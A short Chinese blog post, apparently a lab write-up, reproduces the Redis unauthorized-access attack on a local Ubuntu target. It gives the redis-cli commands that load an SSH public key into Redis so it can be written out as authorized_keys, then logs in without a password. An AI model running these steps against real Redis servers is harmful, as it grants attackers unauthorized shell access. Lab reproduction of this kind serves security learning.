Redis未授权利用复现

Kali:192.168.162.129

Ubuntu:192.168.162.128

1、靶机安装redis服务器(redis-server)

1.1下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压,进入源码目录,然后编译(make、make install)

我这里是进入目录之后输入make然后后面根据提示用apt install redis-server

不用进入src目录,直接进入redis解压后的目录就可以了

然后需要编辑一下redis.conf

在靶机上面启动redis服务,输入命令redis-server

然后在kali上面用redis-cli连接(安装redis-cli)

然后防火墙还没有开启6379端口,所以无法进行访问

需要打开6379端口

firewall-cmd --zone=public --add-port=6379/tcp --permanent开放6379端口
firewall-cmd --reload配置立即生效

可以参考这篇文章

连接成功

ssh公钥连接

我这里的公钥和私钥是通过ssh-keygen –t rsa生成,一直回车就好了

完事会生成id_rsa和id_rsa.pub后面这个pub后缀的是公钥,另一个是私钥

将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

再把key.txt文件内容写入redis缓冲

cat key.txt| redis-cli -h 192.168.162.128 -x set crack

然后是这样,注意名字必须是authorized_keys

最后尝试空密码连接

posted @ 2024-12-11 17:04  CLLWA  阅读(5)  评论(0编辑  收藏  举报